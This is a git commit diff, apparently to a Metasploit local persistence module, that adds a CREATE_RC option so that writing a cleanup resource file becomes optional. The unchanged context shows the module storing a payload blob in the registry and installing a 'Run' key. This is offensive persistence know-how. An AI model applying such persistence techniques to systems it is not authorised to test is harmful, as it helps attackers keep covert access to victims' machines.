Add a switch for creating a cleanup rc file

bug/bundler_fix
Donny Maasland 2015-07-01 17:06:16 +02:00
parent 20708ebc82
commit 26e3ec0a5f
1 changed files with 5 additions and 1 deletions

View File

@ -51,6 +51,8 @@ class Metasploit4 < Msf::Exploit::Local
[false, 'The name to use for storing the payload blob. (Default: random)' ]),
OptString.new('RUN_NAME',
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
OptBool.new('CREATE_RC',
[false, 'Create a resource file for cleanup', true]),
], self.class)
end
@ -181,7 +183,9 @@ class Metasploit4 < Msf::Exploit::Local
print_status('Installing run key')
install_cmd(cmd, cmd_reg, root_path)
create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
if datastore['CREATE_RC']
create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
end
end
end